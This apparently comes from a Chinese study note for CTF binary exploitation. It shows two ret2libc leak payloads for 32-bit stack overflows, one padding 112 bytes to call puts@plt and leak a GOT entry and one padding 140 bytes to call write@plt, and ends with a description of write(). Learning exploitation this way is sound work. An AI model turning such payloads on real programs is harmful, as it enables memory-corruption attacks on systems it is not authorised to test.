#put函数调用 #函数名 + 返回地址 + 函数参数 payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
#write函数调用 #函数名 + 返回地址 + 函数参数1 + 需要输出的内容 + 输出的字节长度 payload = 140*'a' + p32(write_plt) + p32(vulnfun) + p32(1) + p32(write_got) + p32(4) 1、write() 函数定义:ssize_t write (int fd, const void * buf, size_t count); 函数说明:write()会把参数buf所指的内存写入count个字节到参数fd所指的文件内。 返回值:如果顺利write()会返回实际写入的字节数(len)。当有错误发生时则返回-1,错误代码存入errno中。